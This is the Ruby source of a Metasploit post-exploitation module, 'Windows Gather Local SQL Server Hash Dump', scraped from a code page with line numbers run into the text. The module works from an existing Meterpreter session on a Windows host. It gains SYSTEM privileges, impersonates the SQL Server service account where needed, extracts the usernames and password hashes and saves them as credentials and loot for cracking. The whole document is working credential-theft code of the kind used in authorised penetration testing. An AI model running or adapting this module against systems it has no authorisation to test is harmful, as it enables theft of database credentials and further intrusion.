Path: blob/master/modules/post/windows/gather/credentials/mssql_local_hashdump.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Report7include Msf::Post::Windows::MSSQL89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Gather Local SQL Server Hash Dump',14'Description' => %q{15This module extracts the usernames and password16hashes from an MSSQL server and stores them as loot. It uses the17same technique in mssql_local_auth_bypass.18},19'License' => MSF_LICENSE,20'Author' => [21'Mike Manzotti <mike.manzotti[at]dionach.com>',22'nullbind' # Original technique23],24'Platform' => [ 'win' ],25'SessionTypes' => [ 'meterpreter' ],26'References' => [27['URL', 'https://www.dionach.com/blog/easily-grabbing-microsoft-sql-server-password-hashes']28],29'Notes' => {30'Stability' => [CRASH_SAFE],31'SideEffects' => [],32'Reliability' => []33},34'Compat' => {35'Meterpreter' => {36'Commands' => %w[37stdapi_sys_config_rev2self38]39}40}41)42)4344register_options(45[46OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil])47]48)49end5051def run52hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']53print_status("Running module against #{hostname} (#{session.session_host})")5455# Set instance name (if specified)56instance = datastore['INSTANCE'].to_s5758# Identify available native SQL client59get_sql_client60fail_with(Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client6162# Get LocalSystem privileges63system_status = get_system64fail_with(Failure::Unknown, 'Unable to get SYSTEM') unless system_status6566begin67service = check_for_sqlserver(instance)68fail_with(Failure::Unknown, 'Unable to identify MSSQL Service') unless service6970print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")71instance_name = service[:display].gsub('SQL Server (', '').gsub(')', '').strip7273begin74get_sql_hash(instance_name)75rescue RuntimeError76# Attempt to impersonate sql server service account (for sql server 2012)77if impersonate_sql_user(service)78get_sql_hash(instance_name)79end80end81ensure82# return to original priv context83session.sys.config.revert_to_self84end85end8687def get_sql_version(instance_name)88vprint_status('Attempting to get version...')8990query = mssql_sql_info9192get_version_result = run_sql(query, instance_name)9394# Parse Data95get_version_array = get_version_result.split("\n")96version_year = get_version_array.first.strip.slice(/\d\d\d\d/)97if version_year98vprint_status("MSSQL version found: #{version_year}")99return version_year100else101vprint_error('MSSQL version not found')102end103end104105def get_sql_hash(instance_name)106version_year = get_sql_version(instance_name)107108case version_year109when '2000'110hash_type = 'mssql'111query = mssql_2k_password_hashes112when '2005', '2008'113hash_type = 'mssql05'114query = mssql_2k5_password_hashes115when '2012', '2014'116hash_type = 'mssql12'117query = mssql_2k5_password_hashes118else119fail_with(Failure::Unknown, 'Unable to determine MSSQL Version')120end121122print_status('Attempting to get password hashes...')123124res = run_sql(query, instance_name)125126if res.include?('0x')127# Parse Data128if hash_type == 'mssql12'129res = res.unpack('H*')[0].gsub('200d0a', '_CRLF_').gsub('0d0a', '').gsub('_CRLF_', '0d0a').gsub(/../) do |pair|130pair.hex.chr131end132end133hash_array = res.split("\r\n").grep(/0x/)134135store_hashes(hash_array, hash_type)136else137fail_with(Failure::Unknown, 'Unable to retrieve hashes')138end139end140141def store_hashes(hash_array, hash_type)142# Save data143loot_hashes = ''144hash_array.each do |row|145user, hash = row.strip.split146147service_data = {148address: rhost,149port: rport,150service_name: 'mssql',151protocol: 'tcp',152workspace_id: myworkspace_id153}154155# Initialize Metasploit::Credential::Core object156credential_data = {157post_reference_name: refname,158origin_type: :session,159private_type: :nonreplayable_hash,160private_data: hash,161username: user,162session_id: session_db_id,163jtr_format: hash_type,164workspace_id: myworkspace_id165}166167credential_data.merge!(service_data)168169# Create the Metasploit::Credential::Core object170credential_core = create_credential(credential_data)171172# Assemble the options hash for creating the Metasploit::Credential::Login object173login_data = {174core: credential_core,175status: Metasploit::Model::Login::Status::UNTRIED176}177178# Merge in the service data and create our Login179login_data.merge!(service_data)180create_credential_login(login_data)181182print_line("#{user}:#{hash}")183184loot_hashes << "#{user}:#{hash}\n"185end186187if loot_hashes.empty?188return false189else190# Store MSSQL password hash as loot191loot_path = store_loot('mssql.hash', 'text/plain', session, loot_hashes, 'mssql_hashdump.txt', 'MSSQL Password Hash')192print_good("MSSQL password hash saved in: #{loot_path}")193return true194end195end196end197198199